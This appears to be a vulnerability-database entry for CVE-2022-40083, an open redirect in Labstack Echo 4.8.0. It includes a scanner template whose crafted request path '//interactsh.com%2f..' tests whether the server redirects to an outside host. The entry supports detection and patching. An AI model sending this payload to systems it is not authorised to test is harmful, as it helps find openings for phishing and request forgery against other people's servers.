CVE-2022-40083: Labstack Echo 4.8.0 - Open Redirect

2025-08-01 Labstack Echo PoC Public

Description

Labstack Echo 4.8.0 contains an open redirect vulnerability via the Static Handler component. An attacker can leverage this vulnerability to cause server-side request forgery, making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2022-40083

info:
  name: Labstack Echo 4.8.0 - Open Redirect
  author: pdteam
  severity: critical
  description: |
    Labstack Echo 4.8.0 contains an open redirect vulnerability via the Static Handler component. An attacker can leverage this vulnerability to cause server-side request forgery, making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.
  remediation: Download and install 4.9.0, which contains a patch for this issue.
  reference:
    - https://github.com/labstack/echo/issues/2259
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40083
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2022-40083
    cwe-id: CWE-601
    epss-score: 0.02575
    epss-percentile: 0.844
    cpe: cpe:2.3:a:labstack:echo:4.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: labstack
    product: echo
  tags: cve,cve2022,redirect,labstack,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}//interactsh.com%2f.."

    matchers-condition: and
    matchers:
      - type: regex
        part: location
        regex:
          - '^\s*//interactsh.com/\.\.'

      - type: status
        status:
          - 301
# digest: 4a0a00473045022021696a95c1d3d5190e5c7016d6335b8ee5f330c8629b6f34d68a7de5c1c06482022100bd9c8e1f159086946e2963433aaecde2fa3a576554ca6e2fb15f9e8cf7d5b75c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities